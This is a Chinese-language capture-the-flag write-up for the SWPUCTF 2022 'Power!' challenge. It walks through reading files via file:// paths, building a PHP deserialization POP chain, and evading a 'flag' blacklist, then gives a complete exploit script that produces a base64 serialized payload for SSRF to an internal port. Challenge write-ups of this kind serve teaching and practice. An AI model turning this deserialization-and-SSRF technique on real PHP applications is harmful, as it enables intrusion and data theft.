NSS [SWPUCTF 2022 新生赛]Power!

news2024/11/23 10:50:57

NSS [SWPUCTF 2022 新生赛]Power!

开题。

image-20230930213327255

随便传一个111,后端进行了一个文件包含操作。

image-20230930213417045

输入index.php,回显了一个不可显示图片。

image-20230930213518985

有点小蒙蔽的,一般这种情况就源码,抓包,扫描。源码里面果然有货。

image-20230930213649693

base解码后是index.php的源码,同时根据hint,直接传参?source=xxx就直接回显了源码。

image-20230930213812681

<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
        public function __call($f,$a){
            $this->loadfile();
        }
        public function loadfile(){
            if(!is_array($this->path)){
                if(preg_match("/".$this->black_list."/i",$this->path)){
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
        }
        public function curl($path){
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
    if(isset($_GET['source'])){
        highlight_file(__FILE__);
    }else{
        if(isset($_GET['image_path'])){
            $path = $_GET['image_path'];    //flag in /flag.php
            if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
                echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
            }else{
                echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
            }
            
        }else if(isset($_GET['path_info'])){
            $path_info = $_GET['path_info'];
            $FV = unserialize(base64_decode($path_info));
            $FV->loadfile();
        }else{
            $path = "vergil.jpg";
            echo '<h2>POWER!!</h2>
            <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
        }
    }
?>

粗略一看,刚刚读取文件的功能是由以下代码实现,过滤了http: gopher: glob: php:。过滤了 gopher: 不禁让人怀疑要用到SSRF获取内网资源。

image-20230930214712172

怀疑归怀疑,我们先读取以下根目录下/flag文件和当前目录下flag.php文件,两个比较常见的存放flag文件。

?image_path=file:///var/www/html/flag.php

当前目录下flag.php文件存在。解码后是:

<?php
$a = "good job,but there is no flag
i put my flag in intranet(127.0.0.1:65500)
outsider have no permissions to get it
if you want it,then you have to take it
but you already knew the rules
try it";
?>

怀疑属实,要用到SSRF,从内网65500端口访问web目录下flag.php

回顾一下源码,源码有反序列化点并且类中有SSRF特征代码。

image-20230930220748359

image-20230930220800248

反序列化+SSRF,启动!首先找反序列化链子再找SSRF利用方式。

一、构造链子。(倒着来)

我们的结尾肯定是FileViewer::loadfile()方法,调用其中的$file = $this->curl($this->local.$this->path); curl请求任意资源。

image-20230930221943172

FileViewer::__call()方法能调用FileViewer::loadfile()方法。

image-20230930222036608

Backdoor::__destruct()方法能调用FileViewer::__call()方法。

image-20230930222131463

最终链子是:

Backdoor::__destruct()->
FileViewer::__call()->
FileViewer::loadfile()

二、如何利用SSRF请求内网资源127.0.0.1:65500/flag.php

我们有两个阻碍,一是黑名单过滤,二是__wakeup()魔术方法。

黑名单过滤很好过。我们请求的地址是$this->local.$this->path拼接而成,但是只对$this->path过滤了字符串/flag,我们使$this->local=127.0.0.1:65500/f以及$this->path=lag.php即可绕过过滤。

__wakeup()魔术方法其实根本不用绕过,FileViewer实例对象被反序列化后立刻执行__wakeup()魔术方法,但是在Backdoor::__destruct()方法中可以对FileViewer->path重新赋值。这个顺序搞明白了就发现__wakeup()魔术方法根本限制不了我们。

1


我一开始的EXP是这样的:
image-20230930225226788

成功导致题目报错:

image-20230930225250561

这是由于反序列化后立马调用了loadfile()方法,而我们反序列化传进去的是Backdoor类实例对象,没有这个方法。

image-20230930225416113

反序列化,它是先从里面里面开始反序列话,而不是最外面。通俗讲,就是类A里面的属性是类B,反序列化先反序列化类B再反序列化类A。
内部类属性数量不一致,直接把内部类当垃圾回收,外部类。
外部类属性数量不一致,外部类直接被当成垃圾回收,而内部类正常。

基于以上原理我们,我们再new一个FileViewer类实例对象,把我们EXP构造的Backdoor类实例对象随意赋值给新new的FileViewer类实例对象的任意属性就行。

当然也可以基于以上方法更进一步,用GC回收机制,payload在base64编码前自己破坏掉一点,使得外部类(新new的FileViewer类实例对象)直接无效被回收,内部类(Backdoor类实例对象)正常反序列化被运作getflag。

EXP:

<?php

class FileViewer{
    public $black_list = "flag";
    public $local = "http://127.0.0.1/";
    public $path;
    public function __call($f,$a){
        $this->loadfile();
    }
    public function loadfile(){
        if(!is_array($this->path)){
            if(preg_match("/".$this->black_list."/i",$this->path)){
                $file = $this->curl($this->local."cheems.jpg");
            }else{                                                      //$this->path不包含字符串"flag"
                $file = $this->curl($this->local.$this->path);
            }
        }else{
            $file = $this->curl($this->local."cheems.jpg");
        }
        echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
    }
    public function curl($path){
        $url = $path;
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_HEADER, 0);
        $response = curl_exec($curl);
        curl_close($curl);
        return $response;
    }
    public function __wakeup(){
        $this->local = "http://127.0.0.1/";
    }
}
class Backdoor{
    public $a;
    public $b;
    public $superhacker = "hacker.jpg";
    public function goodman($i,$j){
        $i->$j = $this->superhacker;
    }
    public function __destruct(){
        $this->goodman($this->a,$this->b);
        $this->a->c();
    }
}

//--------------【以上都是一模一样CV,不用管,没有改】---------------------------

$file=new FileViewer();
$back=new Backdoor();

$back->a=$file;
$back->b="local";
$back->superhacker="127.0.0.1:65500/f";

$back->a->path="lag.php";

$a=new FileViewer();
$a->local=$back;

echo base64_encode(serialize($a));

image-20230930225921320

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1543644.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

城市繁荣需要交通枢纽,企业发展需要营销枢纽

交通、运输、贸易 流量&#xff0c;人流、信流 单词都是&#xff1a;TRAFFIC 大城市都需要铁路、机场等交通枢纽&#xff0c;来承接人流、信息流的inbound“到达、着陆”&#xff0c;城市经济才能得以持续繁荣。 在数字营销技术领域有个非常著名的营销模式叫“inblound marke…

《C++ Primer 第五版 中文版》第12章 动态内存【阅读笔记 + 个人思考】

《C Primer 第五版 中文版》第12章 动态内存【阅读笔记 个人思考】 12.1 动态内存与智能指针12.1.1 shared_ptr类 静态内存包括&#xff1a;初始化只读数据段&#xff0c;初始化读写数据段&#xff0c;未初始化数据和常量数据段。 详细在下面博客总结&#xff1a; Linux系统下…

linux系统编程 socket part2

报式套接字 1.动态报式套接字2.报式套接字的广播3.报式套接字的多播4.UDP协议分析4.1.丢包原因4.2.停等式流量控制 接linux系统编程 socket part1 1.动态报式套接字 在之前的例子上&#xff0c;发送的结构体中的名字由定长改变长。可以用变长结构体。 变长结构体是由gcc扩展的…

加密算法概述:分类与常见算法

码到三十五 &#xff1a; 个人主页 心中有诗画&#xff0c;指尖舞代码&#xff0c;目光览世界&#xff0c;步履越千山&#xff0c;人间尽值得 ! 在信息安全领域&#xff0c;加密技术是保护数据不被未授权访问的关键手段。Java作为一种广泛使用的编程语言&#xff0c;提供了丰…

记录个人学习golang路线(如何学习golang,如何转golang)

最近好久没更&#xff0c;在看兔兔的博客&#xff0c;学习golang&#xff0c;兔兔的文章&#xff0c;有一定的编程经验 && 初学golang者&#xff0c;一定要看&#xff0c;如果是其他语言转golang&#xff0c;那就必须要看了&#xff0c;可以帮助你了解golang的语法&…

png转gif怎么做?一招在线转换gif动画

PNG是一种常见的图像文件格式&#xff0c;它支持无损压缩和透明背景&#xff0c;而GIF则是一种支持动画的图像文件格式。在某些情况下&#xff0c;我们可能希望将静态的PNG图像转换为动态的GIF图像&#xff0c;以增加图像的趣味性和吸引力。要将PNG图像转换为GIF图像&#xff0…

【3D reconstruction 学习笔记 第二部】

三维重建 3D reconstruction 4. 三维重建与极几何三角化&#xff08;线性解法&#xff09;三角化&#xff08;非线性解法&#xff09;多视图几何极几何极几何约束基础矩阵估计 5. 双目立体视觉重建6. 多视图重建7. SFM 系统设计8. SLAM系统设计 4. 三维重建与极几何 三角化&…

如何在CentOS7部署openGauss管理系统并实现固定公网地址连接

文章目录 推荐前言1. Linux 安装 openGauss2. Linux 安装cpolar3. 创建openGauss主节点端口号公网地址4. 远程连接openGauss5. 固定连接TCP公网地址6. 固定地址连接测试 推荐 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不…

存储级内存SCM:PCM对决ReRAM

在22年7月份有一件震惊存储圈的事情&#xff0c;那就是Intel说要放弃Optane产品线&#xff0c;包括PMEM和SSD两个方向都要放弃。存储圈看到听到这个消息也是一脸的茫然。 在Optane产品发布之前&#xff0c;大家针对DRAM和SSD之间的性能gap一直在苦苦找寻合适的产品。SCM存储级内…

【LeetCode】回溯

labuladong回溯 回溯算法秒杀所有排列-组合-子集问题 回溯 一个回溯问题&#xff0c;实际上就是遍历一棵决策树的过程&#xff0c;树的每个叶子节点存放着一个合法答案。你把整棵树遍历一遍&#xff0c;把叶子节点上的答案都收集起来&#xff0c;就能得到所有的合法答案。 站…

@SpringBootApplication和SpringApplication.run源码解析:

文章目录 一、SpringBootApplication和自动配置1、主要功能2、SpringBootConfiguration3、EnableAutoConfiguration4、ComponentScan5、Spring boot自动配置5.1、Configuration开启自动配置5.2、查看自动配置5.3、禁用自动配置 二、run()new SpringApplication&#xff08;&…

Redis常用命令!!!

一、String&#xff08;字符串&#xff09; 1、set 设置单个key的value set key value set name 小明 2、mset 设置多个key的value mset key1 value1 key2 value2mset name1 小美 name2 小帅 3、get 获取单个key的值 get key get name4、mget 获取多个key的值 mget key1 key2 k…

[XOA Code]Test-suite-RFC2544

Testsuite-RFC2544&#xff0c;微信公众号也在间断的更新中&#xff0c;博客码码字&#xff0c;节奏老是踩不对&#xff0c;没什么条理 难道要不破不立&#xff0c;要全部推倒了重新来吗&#xff0c;....5555 XOA-2544测试 Dataset.py from typing import Any, List, Tuple,…

3.Spring Bean

3.1 Bean的配置 Spring可以看作一个大型工厂&#xff0c;生产和管理Spring容器中的bean。如何使用这个工厂生产和管理bean&#xff0c;需要开发者将bean配置在Spring的配置文件中。Spring框架支持XML和Properties两种格式的配置文件&#xff0c;在实际开发中&#xff0c;常用X…

天府锋巢直播产业基地科学城核心区域

天府锋巢直播产业基地位于天府新区科学城板块&#xff0c;地理位置优越&#xff0c;交通便利&#xff0c;是集直播电商、创新创业、人才培养等多功能于一体的现代化成都直播基地。这里汇聚了众多优秀的直播电商企业和创业团队&#xff0c;为直播电商行业的发展注入了强大的动力…

算法打卡day27|贪心算法篇01|Leetcode 455.分发饼干、376. 摆动序列、53. 最大子序和

贪心算法理论基础 定义 贪心的本质是选择每一阶段的局部最优&#xff0c;从而达到全局最优。 例如&#xff0c;有一堆不同数值的钞票&#xff0c;可以拿走十张&#xff0c;如果想达到最大的金额可以指定每次拿最大的&#xff0c;最终结果就是拿走最大数额的钱。 每次拿最大的就…

混合像元分解:Matlab如何帮助揭示地表组成?

光谱和图像是人们观察世界的两种方式&#xff0c;高光谱遥感通过“图谱合一”的技术创新将两者结合起来&#xff0c;大大提高了人们对客观世界的认知能力&#xff0c;本来在宽波段遥感中不可探测的物质&#xff0c;在高光谱遥感中能被探测。以高光谱遥感为核心&#xff0c;构建…

分享一道DFS常见题目 C++实现路径之谜

题目描述&#xff1a;路径之谜 小明冒充X星球的骑士&#xff0c;进入了一个奇怪的城堡。 城堡里边什么都没有&#xff0c;只有方形石头铺成的地面。 假设城堡地面是 n x n 个方格。【如图1.png】所示。 按习俗&#xff0c;骑士要从西北角走到东南角。 可以横向或纵向移动&…

3个新变化!2024年国家高新技术企业认定攻略

根据《党和国家机构改革方案》和《党中央、国务院议事协调机构优化调整方案》&#xff0c;经报党中央、国务院批准&#xff0c;现将工业和信息化部职责、机构、编制调整&#xff0c;2024年由工信部管理国家高新技术企业认定工作。 总的来说&#xff0c;通过对政策的研究和解读…

Leetcode 76 最小覆盖子串 java版

官网链接&#xff1a; . - 力扣&#xff08;LeetCode&#xff09; 1. 问题&#xff1a; 给你一个字符串 s 、一个字符串 t 。返回 s 中涵盖 t 所有字符的最小子串。如果 s 中不存在涵盖 t 所有字符的子串&#xff0c;则返回空字符串 "" 。 注意&#xff1a; 对于 …